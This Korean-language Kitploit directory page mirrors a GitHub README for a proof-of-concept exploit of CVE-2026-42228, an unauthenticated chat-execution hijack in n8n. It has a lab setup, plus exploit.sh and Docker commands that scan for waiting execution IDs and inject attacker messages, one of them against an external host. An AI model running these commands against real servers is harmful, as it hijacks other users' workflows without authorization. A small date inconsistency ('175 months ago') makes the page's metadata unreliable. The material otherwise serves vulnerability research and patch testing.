Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42228 — CVE-2026-42228에 대한 개념 증명 익스플로잇으로, n8n의 인증되지 않은 채팅 실행 하이재킹 취약점이며, 자동화된 스캐닝 및 공격 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/rudsarkar/cve-2026-42228
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubrudsarkar/cve-2026-42228

CVE-2026-42228

CVE-2026-42228에 대한 개념 증명 익스플로잇으로, n8n의 인증되지 않은 채팅 실행 하이재킹 취약점이며, 자동화된 스캐닝 및 공격 스크립트를 포함합니다.

저장소 보기
175개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GHSA-f77h-j2v7-g6mw — n8n 인증되지 않은 채팅 실행 하이재킹

CVE: CVE-2026-42228
심각도: 높음
영향 버전: n8n < 1.123.32
수정 버전: n8n 1.123.32 / 2.17.4 / 2.18.1


취약점 요약

chat-service.ts :: startSession()은 WebSocket 쿼리 문자열에서 executionId를 수락하고 해당 실행이 데이터베이스에 존재하는지만 확인합니다. 호출자가 해당 실행에 접근할 권한이 있는지는 절대 검증하지 않습니다.

waiting 상태의 실행에 대한 유효한 숫자 실행 ID를 알고 있거나 (열거할 수 있는) 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  1. 자격 증명 없이 /chat WebSocket에 연결합니다.
  2. 합법적인 사용자에게 표시되는 대기 중인 프롬프트를 수신합니다.
  3. 워크플로를 재개 — 그리고 하이재킹 — 하는 임의의 채팅 입력을 주입합니다.

전제 조건:

  • 인증 = 없음으로 설정된 공개 호스팅 채팅 워크플로가 활성화되어 있어야 합니다.
  • 최소 하나의 실행이 현재 waiting 상태에 있어야 합니다.
  • 공격자는 숫자 실행 ID(순차 정수)를 추측하거나 열거할 수 있어야 합니다.

실습 환경 구성

요구 사항

  • Compose v2가 포함된 Docker ≥ 24
  • localhost의 포트 5678이 비어 있어야 함

원커맨드 설정

chmod +x exploit.sh
./exploit.sh setup

이 명령은 n8nio/n8n:1.123.22(영향을 받는 마지막 릴리스)를 가져오고, 공격자 이미지를 빌드하며, 취약한 대상 서버를 http://localhost:5678에서 시작합니다.


종단 간 익스플로잇 워크스루

1. 취약한 대상 서버 구성

  1. http://localhost:5678을 열고 설정 마법사를 완료합니다(아무 자격 증명이나 사용).
  2. 새 워크플로를 생성합니다.
  3. 채팅 트리거 노드를 추가합니다 → 인증 = 없음으로 설정합니다.
  4. 트리거 뒤에 대기 노드(또는 사용자 입력을 위해 일시 중지하는 노드)를 추가합니다.
  5. 워크플로를 활성화합니다.

2. 대기 중인 실행 트리거

채팅 트리거 노드에 표시된 공개 채팅 URL을 열고 메시지를 보냅니다. 실행은 waiting 상태가 되어 다음 채팅 응답을 기다리며 일시 중지됩니다.

3. 대기 중인 실행 스캔 (인증 없음)

./exploit.sh scan
# 또는 범위 지정:
./exploit.sh scan 1 500

취약한 실행이 발견되었을 때의 예상 출력:

[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. 알려진 실행 ID 직접 공격

./exploit.sh attack 7
# 또는 사용자 지정 페이로드 사용:
./exploit.sh attack 7 "custom injected message"

5. 하이재킹 확인

n8n 편집기로 돌아가면 워크플로가 합법적인 사용자의 입력 대신 공격자가 주입한 메시지로 재개됩니다.


수동 Docker 명령

# 공격자 이미지 빌드
docker build -t n8n-chat-hijack-poc .

# 스캔 (공유 실습 네트워크에 연결)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# 특정 실행 공격
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# 외부 대상 공격 (네트워크 플래그 불필요)
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

정리

./exploit.sh clean

컨테이너를 중지하고 볼륨(SQLite 데이터베이스 포함)을 제거합니다.


파일

파일설명
poc_GHSA-f77h-j2v7-g6mw.py독립 실행형 Python PoC
Dockerfile공격자 컨테이너 이미지
docker-compose.yml전체 실습 환경: 취약한 n8n + 공격자
exploit.sh일반적인 작업을 위한 헬퍼 스크립트

참고 자료

  • GHSA-f77h-j2v7-g6mw
  • n8n 릴리스 1.123.32 변경 로그
도구 다운로드